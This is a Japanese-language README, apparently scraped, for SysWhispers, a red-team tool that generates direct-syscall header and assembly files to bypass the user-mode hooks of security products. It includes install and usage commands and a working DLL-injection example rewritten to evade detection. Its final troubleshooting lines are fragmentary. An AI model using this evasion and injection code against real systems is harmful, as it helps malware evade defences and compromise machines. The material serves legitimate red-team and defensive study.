
SysWhispersは、直接システムコールを行うためのヘッダー/ASMファイルを生成し、インプラントが回避策を講じるのに役立ちます。
Windows XPからWindows 10 19042 (20H2)までのすべての主要なシステムコールがサポートされています。生成されたファイルの例は example-output/ フォルダにあります。
各種セキュリティ製品は、ユーザーモードAPIにフックを仕掛け、実行フローを自身のエンジンにリダイレクトして不審な動作を検出します。システムコールを実行する ntdll.dll の関数は数個のアセンブリ命令で構成されているため、それらを独自のインプラントで再実装することで、セキュリティ製品のフックがトリガーされるのを回避できます。この手法は@Cn33liz氏によって広められ、彼のブログ記事にはさらに詳細なテクニックが記載されています。
SysWhispersは、レッドチームがWindows XP以降のすべてのWindowsバージョンにおいて、カーネルコアイメージ(ntoskrnl.exe)の任意のシステムコールに対してヘッダー/ASMペアを生成できるようにします。ヘッダーには必要な型定義も含まれます。
Dumpert POCとの主な実装上の違いは、本ツールはOSバージョンの問い合わせに RtlGetVersion を呼び出さず、代わりにアセンブリ内でPEBを直接問い合わせて行う点です。これにより、複数のWindowsバージョンをサポートする1つの関数を呼び出せるようになり、各バージョンに対応する複数の関数を呼び出す必要がなくなります。
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# サポートされているすべてのWindowsバージョンに対応する全機能をエクスポート(example-output/ を参照)。
py .\syswhispers.py --preset all -o syscalls_all
# Windows 7、8、10に対応する一般的な機能のみをエクスポート。
py .\syswhispers.py --preset common -o syscalls_common
# NtProtectVirtualMemory と NtWriteVirtualMemory を全バージョン対応でエクスポート。
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Windows 7、8、10に対応する全機能をエクスポート。
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: カーネルに呼びかけるよりも、ささやくほうがいい?
一般的な関数が選択されました。
完了!ファイルは以下に書き込まれました:
syscom.asm
syscom.h
CreateRemoteThread DLLインジェクションのビフォーアフター例py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // 生成されたヘッダーをインポート
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
--preset common スイッチを使用すると、以下の関数を含むヘッダー/ASMペアが作成されます:
win32k.sys)からのシステムコールはサポートされていません。ModuleNotFoundError が発生する場合。
pip3 install -r requirements.txt で必要なモジュールがインストールされていることを確認してください。syscalls.h の typedef がすでに定義されている場合、プロジェクトがコンパイルできないことがあります。
--preset all はほとんど必要ありません)。syscalls.h から削除できます。このスクリプトは @Jackson_T によって開発されましたが、多くの方々の研究成果を基にしています:
特に@Dcept905氏のテストと提案に感謝します。
このプロジェクトはApache License 2.0の下でライセンスされています。